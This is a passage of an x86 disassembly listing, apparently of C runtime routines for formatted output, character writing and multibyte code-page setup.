		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2890000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 2640839h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 2890782h
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		call	near ptr 2890000h
		nop
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC7E1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC6E0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
